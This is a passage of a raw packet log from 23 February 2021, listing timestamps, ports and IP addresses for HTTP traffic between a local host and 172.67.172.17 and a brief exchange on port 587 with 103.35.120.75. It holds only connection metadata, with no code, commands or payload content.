Feb 23, 2021 16:55:12.894397020 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894416094 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.894419909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894459009 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.895174980 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895209074 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895231962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895253897 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895275116 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895296097 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895309925 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.895318985 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895345926 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895369053 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895373106 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.895390987 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.895395041 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.895437956 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.896090031 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896112919 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896141052 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896162987 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.896167994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896193981 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896203995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.896218061 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896240950 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896255970 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.896265030 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896289110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896305084 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.896315098 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.896357059 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.897022963 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897044897 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897068024 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897083044 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.897093058 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897116899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897130966 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.897141933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897164106 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897181034 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.897190094 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897216082 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897227049 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.897239923 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.897283077 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.897974968 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898001909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898025990 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898047924 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.898050070 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898073912 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898094893 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.898097992 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898124933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898139000 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.898150921 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898171902 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898191929 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.898195982 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898241997 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.898914099 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898936987 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898963928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.898983955 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.898988962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899013996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899032116 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.899038076 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899061918 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899075031 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.899085999 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899107933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899122953 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.899132013 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899174929 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.899916887 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899940014 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899964094 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.899985075 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.899988890 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900016069 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900026083 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900041103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900063038 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900085926 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900087118 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900110960 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900131941 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900135040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900177002 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900772095 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900793076 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900815010 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900829077 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900840044 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900865078 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900873899 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900892019 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900914907 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900928974 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.900938988 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900960922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.900985003 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901002884 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.901035070 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.901756048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901779890 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901804924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901823997 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.901832104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901856899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901875019 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.901880026 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901904106 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.901916981 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.901927948 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902121067 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.902504921 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902528048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902550936 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902573109 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.902576923 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902601004 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902625084 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902646065 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.902648926 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902662039 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.902674913 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902699947 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902710915 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.902724028 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.902771950 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.903451920 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903475046 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903500080 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903521061 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.903523922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903549910 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903568983 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.903575897 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903600931 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903620005 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.903628111 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903650999 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903666019 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.903673887 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.903717995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.904378891 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904403925 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904426098 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904448986 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.904454947 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904484987 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904500008 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.904509068 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904535055 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904546022 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.904561043 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904582977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904598951 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.904607058 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.904640913 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.905317068 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.905337095 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.905354977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.905376911 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.905394077 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.905432940 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:21.553009987 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:27.816375971 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:28.017996073 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:28.018183947 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:28.727945089 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:28.728899956 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:28.930818081 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:28.932142973 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:29.134661913 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:29.135345936 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:29.379475117 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:30.848807096 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:30.849620104 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:31.054327011 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:31.055047989 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:31.055172920 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:31.060214043 CET	49167	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:31.262236118 CET	587	49167	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:35.441421032 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.488665104 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.489166021 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.489645958 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.537692070 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587418079 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587441921 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587469101 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587488890 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587507010 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587531090 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587552071 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587572098 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587570906 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.587590933 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.587591887 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.587632895 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.587640047 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.588718891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.588778973 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.589869976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.589895010 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.589915991 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.589983940 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.590004921 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.591753006 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.591784954 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.591877937 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.594985962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595024109 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595037937 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595057964 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595079899 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595112085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595143080 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.595159054 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.595379114 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595392942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.595457077 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.596546888 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.596561909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.596631050 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.597673893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.597732067 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.597882032 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.598879099 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.598895073 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.598967075 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.634377956 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.634394884 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.634519100 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.634964943 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.635011911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.635085106 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.636188984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.636254072 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.636426926 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.637233973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.637269020 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.637378931 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.638402939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.638432026 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.638509989 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.639527082 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.639581919 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.639699936 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.640619993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.640638113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.640722990 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.642272949 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.642308950 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.642410040 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.642891884 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.642950058 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.643035889 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.644037962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.644059896 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.644228935 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.645163059 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.645176888 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.645243883 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.646303892 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.646318913 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.646395922 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.647370100 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.647443056 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.647520065 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.648544073 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.648560047 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.648624897 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.649672031 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.649696112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.649755955 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.650788069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.650820017 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.650881052 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.651967049 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.651988029 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.652126074 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.653146982 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.653194904 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.653316975 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.654217005 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.654232979 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.654344082 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.657319069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.657351971 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.657398939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.657438993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.657440901 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.657519102 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.657561064 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.657592058 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.657639027 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.658790112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.658802986 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.658931017 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.659882069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.659935951 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.660095930 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.682677984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.682760000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.682885885 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.684062004 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.684165001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.684266090 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.684762955 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.684782028 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.684850931 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.685914993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.685930014 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.686002970 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.687727928 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.687768936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.688046932 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.688070059 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.688112020 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.688141108 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.689063072 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.689085960 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.689177990 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.690787077 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.690809965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.690891027 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.691569090 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.691623926 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.691700935 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.692352057 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.692399979 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.692616940 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.693433046 CET	80	49168	172.67.172.17	192.168.2.22
